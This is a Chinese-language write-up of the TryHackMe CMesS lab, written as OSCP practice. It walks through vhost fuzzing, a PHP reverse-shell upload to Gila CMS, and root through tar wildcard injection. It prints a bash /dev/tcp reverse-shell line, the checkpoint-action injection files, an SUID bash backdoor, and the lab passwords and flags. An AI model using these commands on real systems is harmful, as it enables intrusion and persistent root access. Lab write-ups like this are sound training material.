tryhackme记录-linux-0x0A CMesS(medium)
来源
由于最近在备考OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似OSCP靶机的清单
| Tryhackme | |||
|---|---|---|---|
| More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP. | |||
| Linux | Windows | Active Directory and Networks | Other recommended rooms |
| Attacktive Directory | SQL Injection Lab | ||
| Attacking Kerberos | Linux Privilege Escalation | ||
| Wreath Network | Windows Privilege Escalation | ||
| Reset | Git Happens | ||
| Vulnnet: Active | NahamStore | ||
| Enterprise | |||
| Ledger | |||
| Recommended paths | |||
| Assumed Breach Scenarios: | Cyber Security 101 | ||
| Corp | Jr Penetration Tester | ||
| Ultratech | Lateral Movement and Pivoting | Offensive Pentesting | |
| Internal | Exploiting Active Directory | ||
| Zeno | |||
| Boiler CTF | |||
| Wonderland | |||
| Silver Platter | |||
| Year of the Jellyfish |
由于机器数量较多,共47台,计划一天打1-2台,在一个月内打完全部机器。目前已将Windows部分打完。
0x0A CMesS(medium)
简介:
你能root这个Gila CMS盒子吗?
请添加到 /etc/hosts MACHINE_IP cmess.thm
请注意,这个盒子不需要暴力破解!
原文:
Can you root this Gila CMS box?
Please add MACHINE_IP cmess.thm to /etc/hosts
Please also note that this box does not require brute forcing!
设置环境变量
export TARGET=10.49.157.248
题目还让我们改host,改一下吧,虽然感觉只要不涉及域,设置host的意义并不大后面被打脸了
sudo echo '10.49.157.248 cmess.thm' >> /etc/hosts

信息搜集
使用rustscan和nmap进行端口扫描
rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn
Open 10.49.157.248:22
Open 10.49.157.248:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvfxduhH7oHBPaAYuN66Mf6eL6AJVYqiFAh6Z0gBpD08k+pzxZDtbA3cdniBw3+DHe/uKizsF0vcAqoy8jHEXOOdsOmJEqYXjLJSayzjnPwFcuaVaKOjrlmWIKv6zwurudO9kJjylYksl0F/mRT6ou1+UtE2K7lDDiy4H3CkBZALJvA0q1CNc53sokAUsf5eEh8/t8oL+QWyVhtcbIcRcqUDZ68UcsTd7K7Q1+GbxNa3wftE0xKZ+63nZCVz7AFEfYF++glFsHj5VH2vF+dJMTkV0jB9hpouKPGYmxJK3DjHbHk5jN9KERahvqQhVTYSy2noh9CBuCYv7fE2DsuDIF
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGOVQ0bHJHx9Dpyf9yscggpEywarn6ZXqgKs1UidXeQqyC765WpF63FHmeFP10e8Vd3HTdT3d/T8Nk3Ojt8mbds=
| 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFUGmaB6zNbqDfDaG52mR3Ku2wYe1jZX/x57d94nxxkC
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEB访问及目录扫描
80端口,Powered by Gila CMS

目录扫描及网页文件扫描
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

login为登陆地址,1.开头的响应长度均一样,可能是设置了路由,没有很很多有价值的信息
初始访问
失败的尝试
既然页面上写了这是Gila CMS,那直接搜exp吧,未授权rce只有一个,优先使用这个,拿出来读一下

看上去直接在header内进行的rce

但是他的payload是直接弹计算器,对getshell无用,因为他的shell_exec没有echo看上去还像无回显的rce,修改payload,ping kali验证一下

并没有ping到我监听的tun0网卡,这里才发现个小坑,上面写着在win10上测试了,但我们的靶机是linux啊,需要修改路径

改了改还是没执行成功
重新进行信息收集
这里被打脸了,卡住了很久没做出来,查了wp才发现,原来设置host是有用的,需要进行host碰撞
# 先观察响应长度
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm"
# 过滤假阳性words=522的
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" -fw 522

这里成功扫到子域dev,dev一般是开发环境,可能突破点会更多,在加一条host
sudo echo '10.49.157.248 dev.cmess.thm' >> /etc/hosts
访问dev.cmess.thm

账号密码到手:[email protected]/KPFTN_f2yxe%
后台getshell
ssh失败

尝试登录后台

这里我们有了账号密码,且已知系统版本,其实可以只用这个洞了

不过没必要,需要账号密码的洞,一般的都是后台文件按上传getshell了,直接手工打就行,经典后台文件上传php reverse shell

这里上传后不在的当前目录,翻了一下翻一下在assets下

开启监听,访问触发

提权
信息搜集
这里想要拿user.txt,还没权限访问andre目录

但我们在反后台文件的时候看到了mysql账号密码,只能本地连接,现在已经有一个低权限的shell了,可以尝试进去找有没有其他密码了


只有一个用户,而且还是我们已经有了凭证的,这个是网站数据库,使用的密码就是登录后台的密码
还是尝试跑linpeas吧,开启lpe,加载linpeas并执行,靶机上没有curl,那就wget下载下来在执行

备份文件提权到andre

有一个高亮红色的备份压缩文件,尝试解压读取
tar -xzvf /tmp/andre_backup.tar.gz
并没有什么价值,SUID也没有很有价值的文件,检查一下可能含有密码的文件

这里只有一个.开头的隐藏文件,尝试读取/opt/.password.bak

拿到账号密码UQfsdCB7aAP6,切用户su andre

问题1:Compromise this machine and obtain user.txt(thm{c529b5d5d6ab6b430b7eb1903b2b5e1b})

Tar 通配符注入提权到root
在以andre的身份在跑一遍linpeas
其实之前发现的计划任务就可以使用,可以劫持

*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
每两分钟执行一次
在www-data阶段我们没有利用这个计划任务的原因是对于/home/andre/backup目录没有写权限,现在我们有权限了,就可以操作了
解释:root用户每分钟会运行一次cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
-
*是 shell 展开 - tar 会把当前目录下的所有文件名当作参数
- 如果文件名是
--xxx这种形式 - 会被当成 tar 参数
如果我们在/home/andre/backup目录下写入两个文件名字为恶意参数的文件,则执行计划任务的时候命令会被展开达到以root权限反弹shell的目的
方法1-反弹root的shell
# 操作
cd ~/backup
rm note
echo 'bash -i >& /dev/tcp/192.168.196.107/4444 0>&1' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=bash shell.sh'
# 命令展开
tar -zcf /tmp/andre_backup.tar.gz \
--checkpoint=1 \
--checkpoint-action=exec=bash shell.sh \
shell.sh
# 等下一次计划任务执行即可

成功提权
问题2:Escalate your privileges and obtain root.txt(thm{9f85b7fdeb2cf96985bf5761a93546a2})

方法2-拷贝一份bash,并给suid权限
# 操作
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > exp.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=bash exp.sh'
# 命令展开
tar -zcf /tmp/andre_backup.tar.gz \
--checkpoint=1 \
--checkpoint-action=exec=bash exp.sh \
exp.sh
# 等下一次计划任务执行即可

/tmp/bash -p

提权成功
总结
- 需要写入host的靶机,记得进行一下host碰撞,可能是有突破点的
- 多了解一下通配符滥用导致被注入提权的方式
- 打靶的话尽量直接cp一个bash给suid权限,这样又快又稳定,但实战不建议,痕迹过重,相当于留了个后门